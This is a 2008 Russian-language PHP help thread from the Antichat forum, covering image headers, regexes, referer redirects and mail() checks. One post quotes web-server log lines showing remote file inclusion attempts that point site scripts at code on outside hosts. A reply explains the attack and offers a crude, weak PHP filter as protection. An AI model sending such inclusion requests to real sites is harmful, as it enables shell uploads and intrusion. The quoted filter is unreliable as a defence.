HOME    FORUMS    MEMBERS    RECENT POSTS    LOG IN  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > ПРОГРАММИРОВАНИЕ > PHP
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 25.10.2008, 13:34
go2be
Познающий
Регистрация: 05.10.2008
Сообщений: 34
Провел на форуме:
264058

Репутация: 67
По умолчанию

Gifts Делал я так. Не воспринимает картинку за картинку =\
Тут видимо трабла в заголовках
------------------------------
Все спасибо разобрался )
Просто взял весь принятый объем в массив. Каждая строка - элемент массива.
Проследил, что заголовки - первые 12 элементов.
Просто начал выводить массив с 12 элемента )
А в header поставил Content-type: image/jpeg
))))

Последний раз редактировалось go2be; 25.10.2008 в 13:42..
 
Ответить с цитированием

  #2  
Старый 25.10.2008, 14:20
Gifts
Reservists Of Antichat - Level 6
Регистрация: 25.04.2008
Сообщений: 827
Провел на форуме:
2769640

Репутация: 1304


По умолчанию

go2be Что то страшное - обычно убивают заголовки, это если не массив а строка, ессесн
PHP код:
$img=preg_replace("#^[\s\S]*?\r\n\r\n#i",'',$img); 
temp_late Почитай про разграничение прав в никсах. Апач запущен от пользователя nobody а папки, например, с правами user - естественно ты не сможешь с ними ничего сделать.
 
Ответить с цитированием

  #3  
Старый 26.10.2008, 16:30
spamoney
Участник форума
Регистрация: 26.12.2006
Сообщений: 107
Провел на форуме:
228267

Репутация: 27
По умолчанию

Всем Добрый День!
Не могли бы Вы мне помочь составить регулярное выражение, я уже обращался с этим вопросом, но видимо не полностью всё объяснил, либо меня не так поняли:

допустим есть текст:
Код:
$text="<tr>СЛОВО9<td><a href='#'>СЛОВО1-СЛОВО8</a>СЛОВО1-СЛОВО3-СЛОВО5<strong>СЛОВО1</strong>СЛОВО2</td></tr>"; //Текст абсолютно производный (любой), каждый раз разный
также есть набор ключевых слов через запятую:
Код:
$keywords="СЛОВО1, СЛОВО3, СЛОВО8"; //Задаются в самом скрипте


Необходимо, сделать так, что бы каждое ключевое слово в тексте заменялось допустим на одно единственное NEWSLOVO, только в том случае, если оно не заключено в тэги <a></a> и <strong></strong> , т.е исходный текст получится таким:

Код:
$text="<tr>СЛОВО9<td><a href='#'>СЛОВО1-СЛОВО8</a>NEWSLOVO-NEWSLOVO-СЛОВО5<strong>СЛОВО1</strong>СЛОВО2</td></tr>";
P.S

Еще один вопрос немного не по теме, очень часто у себя в логе на сайте, в ошибках вижу такое:

Код:
200.89.68.125 - - [20/Oct/2008:07:12:03 +0400] "GET //amember/rconfig.inc.php?config%5Broot_dir%5D=http://www.soaresdacosta.pt/readme.txt?? HTTP/1.0" 404 49891 "-" "libwww-perl/5.65"

200.89.68.125 - - [21/Oct/2008:12:34:52 +0400] "GET //modules/Forums/admin/admin_db_utilities.php?phpbb_root_path=http://www.soaresdacosta.pt/readme.txt?? HTTP/1.0" 403 465 "-" "libwww-perl/5.65"

89.111.180.85 - - [21/Oct/2008:12:34:52 +0400] "GET //contacts/?_SERVER[DOCUMENT_ROOT]=http://www.sante.su/images/log.txt??? HTTP/1.0" 404 465 "-" "libwww-perl/5.65"
Кто это или что это пытается сделать с моим сайтом?
И как можно защитится от такого?

Последний раз редактировалось spamoney; 26.10.2008 в 16:58..
 
Ответить с цитированием

  #4  
Старый 26.10.2008, 18:43
OnArs
Участник форума
Регистрация: 01.08.2008
Сообщений: 239
Провел на форуме:
448388

Репутация: 31
По умолчанию

Подскажите пожалуйста, как получить страницу с которой пришёл посетитель на данную страницу?

Заранее благодарен!
 
Ответить с цитированием

  #5  
Старый 26.10.2008, 18:47
Chaak
Познавший АНТИЧАТ
Регистрация: 01.06.2008
Сообщений: 1,047
Провел на форуме:
5321514

Репутация: 3313


Отправить сообщение для Chaak с помощью ICQ
По умолчанию

Цитата:
Сообщение от OnArs  
Подскажите пожалуйста, как получить страницу с которой пришёл посетитель на данную страницу?

Заранее благодарен!
PHP код:
echo $_SERVER["HTTP_REFERER"]; 
---------------------------------------------------

Цитата:
Еще один вопрос немного не по теме, очень часто у себя в логе на сайте. Кто это или что это пытается сделать с моим сайтом?
И как можно защитится от такого?
Хакеры хотят залить шелл через php-injection...(и возможно заливают)

В php.ini: allow_url_fopen = On на allow_url_fopen = Off
или
В: .htaccess php_flag allow_url_fopen Off

и в каждый скрипт(ну и 'неуязвимый' тоже) в начале вставь код:
PHP код:
<?php
foreach($_GET as $key=>$get_1)
{
    
$get_1 str_replace(NULL,'',urldecode($get_1));
    
$_GET[$key] = $get_1;
    if((string)
strpos($get_1,'http://')=='0' || (string)strpos($get_1,'php://')=='0' || (string)strpos($get_1,'/')=='0' || (string)strpos($get_1,'\\')=='0')
    {
        die(
'haccking attempt');
    }
}
?>
Да... и еще: обновись на последнюю версию php_bb

Последний раз редактировалось ChaaK; 26.10.2008 в 19:23..
 
Ответить с цитированием

  #6  
Старый 26.10.2008, 20:29
OnArs
Участник форума
Регистрация: 01.08.2008
Сообщений: 239
Провел на форуме:
448388

Репутация: 31
По умолчанию

ChaaK, как всегда
Большое Спасибо!

---

Возникла проблема с переадресацией:

файл: per.php
PHP код:
<?
echo "<meta http-equiv='refresh' content='3; url='".$_SERVER['HTTP_REFERER']."'>";
?>
Параметр $_SERVER['HTTP_REFERER'] правильно возвращает адрес - реферер, но не тем не менее функция, переадресует на файл per.php, т.е. сам на себя.

Пдскажите, пожалуйста, в чём проблема!?
 
Ответить с цитированием

  #7  
Старый 26.10.2008, 20:59
astrologer
Постоянный
Регистрация: 30.08.2007
Сообщений: 773
Провел на форуме:
3069349

Репутация: 808


По умолчанию

OnArs,
PHP код:
<? 
echo "<meta http-equiv='refresh' content='3; url='".$_SERVER['HTTP_REFERER']."'>"
//                                               ^ Вот этот апостроф надо убрать.
?>
 
Ответить с цитированием

  #8  
Старый 26.10.2008, 20:51
OnArs
Участник форума
Регистрация: 01.08.2008
Сообщений: 239
Провел на форуме:
448388

Репутация: 31
По умолчанию

ChaaK, спасибо, Я это понимаю.
Специально для того, чтобы проверить, я разместил ссылку на стороне, но увы.
Всё же, В чём может быть проблема? :|
 
Ответить с цитированием

  #9  
Старый 27.10.2008, 10:45
spamoney
Участник форума
Регистрация: 26.12.2006
Сообщений: 107
Провел на форуме:
228267

Репутация: 27
По умолчанию

Здравствуйте, такой вопрос: как мне средствами php проверить включена ли у меня на хостинге функция mail(); для отправки писем, т.е допустим проверку на установленные на хосте расширения мы делаем так:

Код:
if (extension_loaded('gzip')) {
исполняемый код....
}
как можно также проверять и функцию mail ??
 
Ответить с цитированием

  #10  
Старый 26.10.2008, 21:03
OnArs
Участник форума
Регистрация: 01.08.2008
Сообщений: 239
Провел на форуме:
448388

Репутация: 31
По умолчанию

Вот ведь бывает такое

Большое Спасибо!
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
[c/c++] Новичкам: задаем вопросы _Great_ С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby 5421 21.04.2026 07:37
Интернетчики задали российскому президенту очень странные вопросы podkashey Мировые новости. Обсуждения. 4 07.07.2006 16:53
Вопросы по Ipb 2.0 Voodoo_People Уязвимости CMS / форумов 26 15.02.2005 22:57



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ